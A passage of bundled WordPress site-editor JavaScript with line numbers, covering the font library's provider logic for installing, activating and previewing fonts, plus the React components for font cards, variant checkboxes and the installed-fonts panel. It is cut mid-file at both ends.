12656 const fontSelected = fonts.find((f) => f.slug === font.slug);
12657 setLibraryFontSelected({
12658 ...fontSelected || font,
12659 source: font.source
12660 });
12661 };
12662 const [loadedFontUrls] = (0,external_wp_element_.useState)(/* @__PURE__ */ new Set());
12663 const getAvailableFontsOutline = (availableFontFamilies) => {
12664 const outline = availableFontFamilies.reduce((acc, font) => {
12665 const availableFontFaces = font?.fontFace && font.fontFace?.length > 0 ? font?.fontFace.map(
12666 (face) => `${face.fontStyle + face.fontWeight}`
12667 ) : ["normal400"];
12668 acc[font.slug] = availableFontFaces;
12669 return acc;
12670 }, {});
12671 return outline;
12672 };
12673 const getActivatedFontsOutline = (source) => {
12674 switch (source) {
12675 case "theme":
12676 return getAvailableFontsOutline(themeFonts);
12677 case "custom":
12678 default:
12679 return getAvailableFontsOutline(customFonts);
12680 }
12681 };
12682 const isFontActivated = (slug, style, weight, source) => {
12683 if (!style && !weight) {
12684 return !!getActivatedFontsOutline(source)[slug];
12685 }
12686 return !!getActivatedFontsOutline(source)[slug]?.includes(
12687 style + weight
12688 );
12689 };
12690 const getFontFacesActivated = (slug, source) => {
12691 return getActivatedFontsOutline(source)[slug] || [];
12692 };
12693 async function installFonts(fontFamiliesToInstall) {
12694 setIsInstalling(true);
12695 try {
12696 const fontFamiliesToActivate = [];
12697 let installationErrors = [];
12698 for (const fontFamilyToInstall of fontFamiliesToInstall) {
12699 let isANewFontFamily = false;
12700 let installedFontFamily = await fetchGetFontFamilyBySlug(
12701 fontFamilyToInstall.slug
12702 );
12703 if (!installedFontFamily) {
12704 isANewFontFamily = true;
12705 installedFontFamily = await fetchInstallFontFamily(
12706 makeFontFamilyFormData(fontFamilyToInstall)
12707 );
12708 }
12709 const alreadyInstalledFontFaces = installedFontFamily.fontFace && fontFamilyToInstall.fontFace ? installedFontFamily.fontFace.filter(
12710 (fontFaceToInstall) => checkFontFaceInstalled(
12711 fontFaceToInstall,
12712 fontFamilyToInstall.fontFace
12713 )
12714 ) : [];
12715 if (installedFontFamily.fontFace && fontFamilyToInstall.fontFace) {
12716 fontFamilyToInstall.fontFace = fontFamilyToInstall.fontFace.filter(
12717 (fontFaceToInstall) => !checkFontFaceInstalled(
12718 fontFaceToInstall,
12719 installedFontFamily.fontFace
12720 )
12721 );
12722 }
12723 let successfullyInstalledFontFaces = [];
12724 let unsuccessfullyInstalledFontFaces = [];
12725 if (fontFamilyToInstall?.fontFace?.length > 0) {
12726 const response = await batchInstallFontFaces(
12727 installedFontFamily.id,
12728 makeFontFacesFormData(fontFamilyToInstall)
12729 );
12730 successfullyInstalledFontFaces = response?.successes;
12731 unsuccessfullyInstalledFontFaces = response?.errors;
12732 }
12733 if (successfullyInstalledFontFaces?.length > 0 || alreadyInstalledFontFaces?.length > 0) {
12734 installedFontFamily.fontFace = [
12735 ...successfullyInstalledFontFaces
12736 ];
12737 fontFamiliesToActivate.push(installedFontFamily);
12738 }
12739 if (installedFontFamily && !fontFamilyToInstall?.fontFace?.length) {
12740 fontFamiliesToActivate.push(installedFontFamily);
12741 }
12742 if (isANewFontFamily && fontFamilyToInstall?.fontFace?.length > 0 && successfullyInstalledFontFaces?.length === 0) {
12743 await fetchUninstallFontFamily(installedFontFamily.id);
12744 }
12745 installationErrors = installationErrors.concat(
12746 unsuccessfullyInstalledFontFaces
12747 );
12748 }
12749 installationErrors = installationErrors.reduce(
12750 (unique, item) => unique.includes(item.message) ? unique : [...unique, item.message],
12751 []
12752 );
12753 if (fontFamiliesToActivate.length > 0) {
12754 const activeFonts = activateCustomFontFamilies(
12755 fontFamiliesToActivate
12756 );
12757 await saveFontFamilies(activeFonts);
12758 refreshLibrary();
12759 }
12760 if (installationErrors.length > 0) {
12761 const installError = new Error(
12762 (0,external_wp_i18n_namespaceObject.__)("There was an error installing fonts.")
12763 );
12764 installError.installationErrors = installationErrors;
12765 throw installError;
12766 }
12767 } finally {
12768 setIsInstalling(false);
12769 }
12770 }
12771 async function uninstallFontFamily(fontFamilyToUninstall) {
12772 try {
12773 const uninstalledFontFamily = await fetchUninstallFontFamily(
12774 fontFamilyToUninstall.id
12775 );
12776 if (uninstalledFontFamily.deleted) {
12777 const activeFonts = deactivateFontFamily(
12778 fontFamilyToUninstall
12779 );
12780 await saveFontFamilies(activeFonts);
12781 }
12782 refreshLibrary();
12783 return uninstalledFontFamily;
12784 } catch (error) {
12785 console.error(
12786 `There was an error uninstalling the font family:`,
12787 error
12788 );
12789 throw error;
12790 }
12791 }
12792 const deactivateFontFamily = (font) => {
12793 const initialCustomFonts = fontFamilies?.[font.source] ?? [];
12794 const newCustomFonts = initialCustomFonts.filter(
12795 (f) => f.slug !== font.slug
12796 );
12797 const activeFonts = {
12798 ...fontFamilies,
12799 [font.source]: newCustomFonts
12800 };
12801 setFontFamilies(activeFonts);
12802 if (font.fontFace) {
12803 font.fontFace.forEach((face) => {
12804 unloadFontFaceInBrowser(face, "all");
12805 });
12806 }
12807 return activeFonts;
12808 };
12809 const activateCustomFontFamilies = (fontsToAdd) => {
12810 const fontsToActivate = cleanFontsForSave(fontsToAdd);
12811 const activeFonts = {
12812 ...fontFamilies,
12813 // Merge the existing custom fonts with the new fonts.
12814 custom: mergeFontFamilies(fontFamilies?.custom, fontsToActivate)
12815 };
12816 setFontFamilies(activeFonts);
12817 loadFontsInBrowser(fontsToActivate);
12818 return activeFonts;
12819 };
12820 const cleanFontsForSave = (fonts) => {
12821 return fonts.map(({ id: _familyDbId, fontFace, ...font }) => ({
12822 ...font,
12823 ...fontFace && fontFace.length > 0 ? {
12824 fontFace: fontFace.map(
12825 ({ id: _faceDbId, ...face }) => face
12826 )
12827 } : {}
12828 }));
12829 };
12830 const loadFontsInBrowser = (fonts) => {
12831 fonts.forEach((font) => {
12832 if (font.fontFace) {
12833 font.fontFace.forEach((face) => {
12834 loadFontFaceInBrowser(
12835 face,
12836 getDisplaySrcFromFontFace(face.src),
12837 "all"
12838 );
12839 });
12840 }
12841 });
12842 };
12843 const toggleActivateFont = (font, face) => {
12844 const initialFonts = fontFamilies?.[font.source] ?? [];
12845 const newFonts = toggleFont(font, face, initialFonts);
12846 setFontFamilies({
12847 ...fontFamilies,
12848 [font.source]: newFonts
12849 });
12850 const isFaceActivated = isFontActivated(
12851 font.slug,
12852 face?.fontStyle,
12853 face?.fontWeight,
12854 font.source
12855 );
12856 if (isFaceActivated) {
12857 unloadFontFaceInBrowser(face, "all");
12858 } else {
12859 loadFontFaceInBrowser(
12860 face,
12861 getDisplaySrcFromFontFace(face?.src),
12862 "all"
12863 );
12864 }
12865 };
12866 const loadFontFaceAsset = async (fontFace) => {
12867 if (!fontFace.src) {
12868 return;
12869 }
12870 const src = getDisplaySrcFromFontFace(fontFace.src);
12871 if (!src || loadedFontUrls.has(src)) {
12872 return;
12873 }
12874 loadFontFaceInBrowser(fontFace, src, "document");
12875 loadedFontUrls.add(src);
12876 };
12877 const [collections, setFontCollections] = (0,external_wp_element_.useState)([]);
12878 const getFontCollections = async () => {
12879 const response = await fetchFontCollections();
12880 setFontCollections(response);
12881 };
12882 const getFontCollection = async (slug) => {
12883 try {
12884 const hasData = !!collections.find(
12885 (collection) => collection.slug === slug
12886 )?.font_families;
12887 if (hasData) {
12888 return;
12889 }
12890 const response = await fetchFontCollection(slug);
12891 const updatedCollections = collections.map(
12892 (collection) => collection.slug === slug ? { ...collection, ...response } : collection
12893 );
12894 setFontCollections(updatedCollections);
12895 } catch (e) {
12896 console.error(e);
12897 throw e;
12898 }
12899 };
12900 (0,external_wp_element_.useEffect)(() => {
12901 getFontCollections();
12902 }, []);
12903 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12904 FontLibraryContext.Provider,
12905 {
12906 value: {
12907 libraryFontSelected,
12908 handleSetLibraryFontSelected,
12909 fontFamilies,
12910 baseCustomFonts,
12911 isFontActivated,
12912 getFontFacesActivated,
12913 loadFontFaceAsset,
12914 installFonts,
12915 uninstallFontFamily,
12916 toggleActivateFont,
12917 getAvailableFontsOutline,
12918 modalTabOpen,
12919 setModalTabOpen,
12920 refreshLibrary,
12921 saveFontFamilies,
12922 isResolvingLibrary,
12923 isInstalling,
12924 collections,
12925 getFontCollection
12926 },
12927 children
12928 }
12929 );
12930}
12931var context_default = FontLibraryProvider;
12932
12933
12934;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-demo.js
12935
12936
12937
12938
12939
12940function getPreviewUrl(fontFace) {
12941 if (fontFace.preview) {
12942 return fontFace.preview;
12943 }
12944 if (fontFace.src) {
12945 return Array.isArray(fontFace.src) ? fontFace.src[0] : fontFace.src;
12946 }
12947}
12948function getDisplayFontFace(font) {
12949 if (font.fontStyle || font.fontWeight) {
12950 return font;
12951 }
12952 if (font.fontFace && font.fontFace.length) {
12953 return font.fontFace.find(
12954 (face) => face.fontStyle === "normal" && face.fontWeight === "400"
12955 ) || font.fontFace[0];
12956 }
12957 return {
12958 fontStyle: "normal",
12959 fontWeight: "400",
12960 fontFamily: font.fontFamily,
12961 fake: true
12962 };
12963}
12964function FontDemo({ font, text }) {
12965 const ref = (0,external_wp_element_.useRef)(null);
12966 const fontFace = getDisplayFontFace(font);
12967 const style = getFamilyPreviewStyle(font);
12968 text = text || font.name;
12969 const customPreviewUrl = font.preview;
12970 const [isIntersecting, setIsIntersecting] = (0,external_wp_element_.useState)(false);
12971 const [isAssetLoaded, setIsAssetLoaded] = (0,external_wp_element_.useState)(false);
12972 const { loadFontFaceAsset } = (0,external_wp_element_.useContext)(FontLibraryContext);
12973 const previewUrl = customPreviewUrl ?? getPreviewUrl(fontFace);
12974 const isPreviewImage = previewUrl && previewUrl.match(/\.(png|jpg|jpeg|gif|svg)$/i);
12975 const faceStyles = getFacePreviewStyle(fontFace);
12976 const textDemoStyle = {
12977 fontSize: "18px",
12978 lineHeight: 1,
12979 opacity: isAssetLoaded ? "1" : "0",
12980 ...style,
12981 ...faceStyles
12982 };
12983 (0,external_wp_element_.useEffect)(() => {
12984 const observer = new window.IntersectionObserver(([entry]) => {
12985 setIsIntersecting(entry.isIntersecting);
12986 }, {});
12987 observer.observe(ref.current);
12988 return () => observer.disconnect();
12989 }, [ref]);
12990 (0,external_wp_element_.useEffect)(() => {
12991 const loadAsset = async () => {
12992 if (isIntersecting) {
12993 if (!isPreviewImage && fontFace.src) {
12994 await loadFontFaceAsset(fontFace);
12995 }
12996 setIsAssetLoaded(true);
12997 }
12998 };
12999 loadAsset();
13000 }, [fontFace, isIntersecting, loadFontFaceAsset, isPreviewImage]);
13001 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ref, children: isPreviewImage ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13002 "img",
13003 {
13004 src: previewUrl,
13005 loading: "lazy",
13006 alt: text,
13007 className: "font-library-modal__font-variant_demo-image"
13008 }
13009 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13010 external_wp_components_namespaceObject.__experimentalText,
13011 {
13012 style: textDemoStyle,
13013 className: "font-library-modal__font-variant_demo-text",
13014 children: text
13015 }
13016 ) });
13017}
13018var font_demo_default = FontDemo;
13019
13020
13021;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-card.js
13022
13023
13024
13025
13026
13027function FontCard({ font, onClick, variantsText, navigatorPath }) {
13028 const variantsCount = font.fontFace?.length || 1;
13029 const style = {
13030 cursor: !!onClick ? "pointer" : "default"
13031 };
13032 const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
13033 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13034 external_wp_components_namespaceObject.Button,
13035 {
13036 __next40pxDefaultSize: true,
13037 onClick: () => {
13038 onClick();
13039 if (navigatorPath) {
13040 navigator.goTo(navigatorPath);
13041 }
13042 },
13043 style,
13044 className: "font-library-modal__font-card",
13045 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { justify: "space-between", wrap: false, children: [
13046 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_demo_default, { font }),
13047 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { justify: "flex-end", children: [
13048 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { className: "font-library-modal__font-card__count", children: variantsText || (0,external_wp_i18n_namespaceObject.sprintf)(
13049 /* translators: %d: Number of font variants. */
13050 (0,external_wp_i18n_namespaceObject._n)(
13051 "%d variant",
13052 "%d variants",
13053 variantsCount
13054 ),
13055 variantsCount
13056 ) }) }),
13057 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default }) })
13058 ] })
13059 ] })
13060 }
13061 );
13062}
13063var font_card_default = FontCard;
13064
13065
13066;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/library-font-variant.js
13067
13068
13069
13070
13071
13072
13073function LibraryFontVariant({ face, font }) {
13074 const { isFontActivated, toggleActivateFont } = (0,external_wp_element_.useContext)(FontLibraryContext);
13075 const isInstalled = font?.fontFace?.length > 0 ? isFontActivated(
13076 font.slug,
13077 face.fontStyle,
13078 face.fontWeight,
13079 font.source
13080 ) : isFontActivated(font.slug, null, null, font.source);
13081 const handleToggleActivation = () => {
13082 if (font?.fontFace?.length > 0) {
13083 toggleActivateFont(font, face);
13084 return;
13085 }
13086 toggleActivateFont(font);
13087 };
13088 const displayName = font.name + " " + getFontFaceVariantName(face);
13089 const checkboxId = (0,external_wp_element_.useId)();
13090 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library-modal__font-card", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { justify: "flex-start", align: "center", gap: "1rem", children: [
13091 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13092 external_wp_components_namespaceObject.CheckboxControl,
13093 {
13094 checked: isInstalled,
13095 onChange: handleToggleActivation,
13096 __nextHasNoMarginBottom: true,
13097 id: checkboxId
13098 }
13099 ),
13100 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("label", { htmlFor: checkboxId, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13101 font_demo_default,
13102 {
13103 font: face,
13104 text: displayName,
13105 onClick: handleToggleActivation
13106 }
13107 ) })
13108 ] }) });
13109}
13110var library_font_variant_default = LibraryFontVariant;
13111
13112
13113;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/sort-font-faces.js
13114function getNumericFontWeight(value) {
13115 switch (value) {
13116 case "normal":
13117 return 400;
13118 case "bold":
13119 return 700;
13120 case "bolder":
13121 return 500;
13122 case "lighter":
13123 return 300;
13124 default:
13125 return parseInt(value, 10);
13126 }
13127}
13128function sortFontFaces(faces) {
13129 return faces.sort((a, b) => {
13130 if (a.fontStyle === "normal" && b.fontStyle !== "normal") {
13131 return -1;
13132 }
13133 if (b.fontStyle === "normal" && a.fontStyle !== "normal") {
13134 return 1;
13135 }
13136 if (a.fontStyle === b.fontStyle) {
13137 return getNumericFontWeight(a.fontWeight) - getNumericFontWeight(b.fontWeight);
13138 }
13139 return a.fontStyle.localeCompare(b.fontStyle);
13140 });
13141}
13142
13143
13144;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/installed-fonts.js
13145
13146
13147
13148
13149
13150
13151
13152
13153
13154
13155
13156
13157
13158
13159const { useGlobalSetting: installed_fonts_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
13160function InstalledFonts() {
13161 const {
13162 baseCustomFonts,
13163 libraryFontSelected,
13164 handleSetLibraryFontSelected,
13165 refreshLibrary,
13166 uninstallFontFamily,
13167 isResolvingLibrary,
13168 isInstalling,
13169 saveFontFamilies,
13170 getFontFacesActivated
13171 } = (0,external_wp_element_.useContext)(FontLibraryContext);
13172 const [fontFamilies, setFontFamilies] = installed_fonts_useGlobalSetting(
13173 "typography.fontFamilies"
13174 );
13175 const [isConfirmDeleteOpen, setIsConfirmDeleteOpen] = (0,external_wp_element_.useState)(false);
13176 const [notice, setNotice] = (0,external_wp_element_.useState)(false);
13177 const [baseFontFamilies] = installed_fonts_useGlobalSetting(
13178 "typography.fontFamilies",
13179 void 0,
13180 "base"
13181 );
13182 const globalStylesId = (0,external_wp_data_.useSelect)((select) => {
13183 const { __experimentalGetCurrentGlobalStylesId } = select(external_wp_coreData_namespaceObject.store);
13184 return __experimentalGetCurrentGlobalStylesId();
13185 });
13186 const globalStyles = (0,external_wp_coreData_namespaceObject.useEntityRecord)(
13187 "root",
13188 "globalStyles",
13189 globalStylesId
13190 );
13191 const fontFamiliesHasChanges = !!globalStyles?.edits?.settings?.typography?.fontFamilies;
13192 const themeFonts = fontFamilies?.theme ? fontFamilies.theme.map((f) => setUIValuesNeeded(f, { source: "theme" })).sort((a, b) => a.name.localeCompare(b.name)) : [];
13193 const themeFontsSlugs = new Set(themeFonts.map((f) => f.slug));
13194 const baseThemeFonts = baseFontFamilies?.theme ? themeFonts.concat(
13195 baseFontFamilies.theme.filter((f) => !themeFontsSlugs.has(f.slug)).map((f) => setUIValuesNeeded(f, { source: "theme" })).sort((a, b) => a.name.localeCompare(b.name))
13196 ) : [];
13197 const customFontFamilyId = libraryFontSelected?.source === "custom" && libraryFontSelected?.id;
13198 const canUserDelete = (0,external_wp_data_.useSelect)(
13199 (select) => {
13200 const { canUser } = select(external_wp_coreData_namespaceObject.store);
13201 return customFontFamilyId && canUser("delete", {
13202 kind: "postType",
13203 name: "wp_font_family",
13204 id: customFontFamilyId
13205 });
13206 },
13207 [customFontFamilyId]
13208 );
13209 const shouldDisplayDeleteButton = !!libraryFontSelected && libraryFontSelected?.source !== "theme" && canUserDelete;
13210 const handleUninstallClick = () => {
13211 setIsConfirmDeleteOpen(true);
13212 };
13213 const handleUpdate = async () => {
13214 setNotice(null);
13215 try {
13216 await saveFontFamilies(fontFamilies);
13217 setNotice({
13218 type: "success",
13219 message: (0,external_wp_i18n_namespaceObject.__)("Font family updated successfully.")
13220 });
13221 } catch (error) {
13222 setNotice({
13223 type: "error",
13224 message: (0,external_wp_i18n_namespaceObject.sprintf)(
13225 /* translators: %s: error message */
13226 (0,external_wp_i18n_namespaceObject.__)("There was an error updating the font family. %s"),
13227 error.message
13228 )
13229 });
13230 }
13231 };
13232 const getFontFacesToDisplay = (font) => {
13233 if (!font) {
13234 return [];
13235 }
13236 if (!font.fontFace || !font.fontFace.length) {
13237 return [
13238 {
13239 fontFamily: font.fontFamily,
13240 fontStyle: "normal",
13241 fontWeight: "400"
13242 }
13243 ];
13244 }
13245 return sortFontFaces(font.fontFace);
13246 };
13247 const getFontCardVariantsText = (font) => {
13248 const variantsInstalled = font?.fontFace?.length > 0 ? font.fontFace.length : 1;
13249 const variantsActive = getFontFacesActivated(
13250 font.slug,
13251 font.source
13252 ).length;
13253 return (0,external_wp_i18n_namespaceObject.sprintf)(
13254 /* translators: 1: Active font variants, 2: Total font variants. */
13255 (0,external_wp_i18n_namespaceObject.__)("%1$s/%2$s variants active"),
13256 variantsActive,
13257 variantsInstalled
13258 );
13259 };
13260 (0,external_wp_element_.useEffect)(() => {
13261 handleSetLibraryFontSelected(libraryFontSelected);
13262 refreshLibrary();
13263 }, []);
13264 const activeFontsCount = libraryFontSelected ? getFontFacesActivated(
13265 libraryFontSelected.slug,
13266 libraryFontSelected.source
13267 ).length : 0;
13268 const selectedFontsCount = libraryFontSelected?.fontFace?.length ?? (libraryFontSelected?.fontFamily ? 1 : 0);
13269 const isIndeterminate = activeFontsCount > 0 && activeFontsCount !== selectedFontsCount;
13270 const isSelectAllChecked = activeFontsCount === selectedFontsCount;
13271 const toggleSelectAll = () => {
13272 const initialFonts = fontFamilies?.[libraryFontSelected.source]?.filter(
13273 (f) => f.slug !== libraryFontSelected.slug
13274 ) ?? [];
13275 const newFonts = isSelectAllChecked ? initialFonts : [...initialFonts, libraryFontSelected];
13276 setFontFamilies({
13277 ...fontFamilies,
13278 [libraryFontSelected.source]: newFonts
13279 });
13280 if (libraryFontSelected.fontFace) {
13281 libraryFontSelected.fontFace.forEach((face) => {
13282 if (isSelectAllChecked) {
13283 unloadFontFaceInBrowser(face, "all");
13284 } else {
13285 loadFontFaceInBrowser(
13286 face,
13287 getDisplaySrcFromFontFace(face?.src),
13288 "all"
13289 );
13290 }
13291 });
13292 }
13293 };
13294 const hasFonts = baseThemeFonts.length > 0 || baseCustomFonts.length > 0;
13295 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "font-library-modal__tabpanel-layout", children: [
13296 isResolvingLibrary && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library-modal__loading", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {}) }),
13297 !isResolvingLibrary && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13298 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
13299 external_wp_components_namespaceObject.Navigator,
13300 {
13301 initialPath: libraryFontSelected ? "/fontFamily" : "/",
13302 children: [
13303 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Screen, { path: "/", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "8", children: [
13304 notice && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13305 external_wp_components_namespaceObject.Notice,
13306 {
13307 status: notice.type,
13308 onRemove: () => setNotice(null),
13309 children: notice.message
13310 }
13311 ),
13312 !hasFonts && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", children: (0,external_wp_i18n_namespaceObject.__)("No fonts installed.") }),
13313 baseThemeFonts.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
13314 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
13315 className: "font-library-modal__fonts-title",
13316 /* translators: Heading for a list of fonts provided by the theme. */
13317 children: (0,external_wp_i18n_namespaceObject._x)("Theme", "font source")
13318 }),
13319 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13320 "ul",
13321 {
13322 role: "list",
13323 className: "font-library-modal__fonts-list",
13324 children: baseThemeFonts.map((font) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13325 "li",
13326 {
13327 className: "font-library-modal__fonts-list-item",
13328 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13329 font_card_default,
13330 {
13331 font,
13332 navigatorPath: "/fontFamily",
13333 variantsText: getFontCardVariantsText(
13334 font
13335 ),
13336 onClick: () => {
13337 setNotice(null);
13338 handleSetLibraryFontSelected(
13339 font
13340 );
13341 }
13342 }
13343 )
13344 },
13345 font.slug
13346 ))
13347 }
13348 )
13349 ] }),
13350 baseCustomFonts.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
13351 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
13352 className: "font-library-modal__fonts-title",
13353 /* translators: Heading for a list of fonts installed by the user. */
13354 children: (0,external_wp_i18n_namespaceObject._x)("Custom", "font source")
13355 }),
13356 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13357 "ul",
13358 {
13359 role: "list",
13360 className: "font-library-modal__fonts-list",
13361 children: baseCustomFonts.map((font) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13362 "li",
13363 {
13364 className: "font-library-modal__fonts-list-item",
13365 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13366 font_card_default,
13367 {
13368 font,
13369 navigatorPath: "/fontFamily",
13370 variantsText: getFontCardVariantsText(
13371 font
13372 ),
13373 onClick: () => {
13374 setNotice(null);
13375 handleSetLibraryFontSelected(
13376 font
13377 );
13378 }
13379 }
13380 )
13381 },
13382 font.slug
13383 ))
13384 }
13385 )
13386 ] })
13387 ] }) }),
13388 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, { path: "/fontFamily", children: [
13389 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13390 ConfirmDeleteDialog,
13391 {
13392 font: libraryFontSelected,
13393 isOpen: isConfirmDeleteOpen,
13394 setIsOpen: setIsConfirmDeleteOpen,
13395 setNotice,
13396 uninstallFontFamily,
13397 handleSetLibraryFontSelected
13398 }
13399 ),
13400 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { justify: "flex-start", children: [
13401 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13402 external_wp_components_namespaceObject.Navigator.BackButton,
13403 {
13404 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
13405 size: "small",
13406 onClick: () => {
13407 handleSetLibraryFontSelected(null);
13408 setNotice(null);
13409 },
13410 label: (0,external_wp_i18n_namespaceObject.__)("Back")
13411 }
13412 ),
13413 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13414 external_wp_components_namespaceObject.__experimentalHeading,
13415 {
13416 level: 2,
13417 size: 13,
13418 className: "edit-site-global-styles-header",
13419 children: libraryFontSelected?.name
13420 }
13421 )
13422 ] }),
13423 notice && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13424 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 1 }),
13425 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13426 external_wp_components_namespaceObject.Notice,
13427 {
13428 status: notice.type,
13429 onRemove: () => setNotice(null),
13430 children: notice.message
13431 }
13432 ),
13433 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 1 })
13434 ] }),
13435 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 4 }),
13436 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)(
13437 "Choose font variants. Keep in mind that too many variants could make your site slower."
13438 ) }),
13439 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 4 }),
13440 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0, children: [
13441 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13442 external_wp_components_namespaceObject.CheckboxControl,
13443 {
13444 className: "font-library-modal__select-all",
13445 label: (0,external_wp_i18n_namespaceObject.__)("Select all"),
13446 checked: isSelectAllChecked,
13447 onChange: toggleSelectAll,
13448 indeterminate: isIndeterminate,
13449 __nextHasNoMarginBottom: true
13450 }
13451 ),
13452 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 8 }),
13453 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13454 "ul",
13455 {
13456 role: "list",
13457 className: "font-library-modal__fonts-list",
13458 children: getFontFacesToDisplay(
13459 libraryFontSelected
13460 ).map((face, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13461 "li",
13462 {
13463 className: "font-library-modal__fonts-list-item",
13464 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13465 library_font_variant_default,
13466 {
13467 font: libraryFontSelected,
13468 face
13469 },
13470 `face${i}`
13471 )
13472 },
13473 `face${i}`
13474 ))
13475 }
13476 )
13477 ] })
13478 ] })
13479 ]
13480 }
13481 ),
13482 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
13483 external_wp_components_namespaceObject.__experimentalHStack,
13484 {
13485 justify: "flex-end",
13486 className: "font-library-modal__footer",
13487 children: [
13488 isInstalling && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {}),
13489 shouldDisplayDeleteButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
